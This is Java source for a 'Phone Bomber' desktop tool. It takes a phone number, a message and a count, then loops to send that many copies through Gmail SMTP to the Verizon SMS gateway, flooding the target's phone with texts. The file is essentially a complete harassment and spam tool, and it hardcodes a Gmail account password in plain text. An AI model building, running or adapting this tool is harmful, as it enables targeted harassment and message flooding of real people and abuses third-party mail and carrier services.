Phone Bomber Source

package PhoneBomber;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextArea;
import javax.swing.JTextField;


public class PhoneBomber{
    public static JPanel panel = new JPanel();
    public static JFrame frame = new JFrame("Phone Bomber!");
    public static void main(String[] args){
        frame.setVisible(true);
        frame.setSize(500, 500);
        frame.setResizable(false);
        frame.setDefaultCloseOperation(frame.EXIT_ON_CLOSE);
        frame.setLocationRelativeTo(null);
        frame.add(panel);
        panel.setLayout(null);
        interactions();
    }

    public static void interactions(){
        final JLabel amount = new JLabel("Amount:");
        amount.setVisible(true);
        amount.setBounds(85, 73, 50, 10);
        panel.add(amount);

        JLabel carrier = new JLabel("Carrier:");
        carrier.setVisible(true);
        carrier.setBounds(85, 43, 50, 10);
        panel.add(carrier);

        JLabel num = new JLabel("Number:");
        num.setVisible(true);
        num.setBounds(85, 13, 50, 10);
        panel.add(num);

        JLabel messagel = new JLabel("Message:");
        messagel.setVisible(true);
        messagel.setBounds(77, 90, 55, 30);
        panel.add(messagel);

        final JTextField who = new JTextField();
        who.setBounds(140, 10, 200, 20);
        who.setVisible(true);
        panel.add(who);

        final JTextField bombn = new JTextField();
        bombn.setBounds(140, 70, 200, 20);
        bombn.setVisible(true);
        panel.add(bombn);


        JButton bomb = new JButton("Bomb!");
        bomb.setBounds(200, 420, 100, 50);
        bomb.setVisible(true);
        panel.add(bomb);

        String[] items = {"Verizon", "AT&T", "Telus"};
        final JComboBox cb = new JComboBox(items);
        cb.setBounds(140, 40, 200, 20);
        cb.setVisible(true);
        panel.add(cb);

        final JTextArea message = new JTextArea();
        message.setBounds(140, 100, 200, 200);
        message.setVisible(true);

        panel.add(message);


        bomb.addActionListener(new ActionListener(){

            public void actionPerformed(ActionEvent arg0) {
                String to = who.getText();
                String msg = message.getText();
                String amnt = bombn.getText();
                Properties props = new Properties();
                props.put("mail.smtp.auth", "true");
                props.put("mail.smtp.starttls.enable", "true");
                Session session = Session.getInstance(props);
                MimeMessage mm = new MimeMessage(session);

                try {
                    Transport transport = session.getTransport("smtp");
                    transport.connect("smtp.gmail.com", 587, "[email protected]", "kajramalan");
                    mm.setFrom(new InternetAddress("[email protected]"));
                    //if(cb.equals("Verizon")){
                        mm.addRecipients(Message.RecipientType.TO, InternetAddress.parse(to+"@vtext.com"));
                    //}else
                    //{}
                    mm.setText(msg);
                    for(int i = 0; i < Integer.parseInt(amnt); i++){
                        transport.sendMessage(mm, mm.getAllRecipients());
                    }
                    JOptionPane.showMessageDialog(null, amnt+" messages have been sent to "+to);

                } catch (MessagingException e) {
                    e.printStackTrace();
                }
            }

        });



        panel.updateUI();
    }
}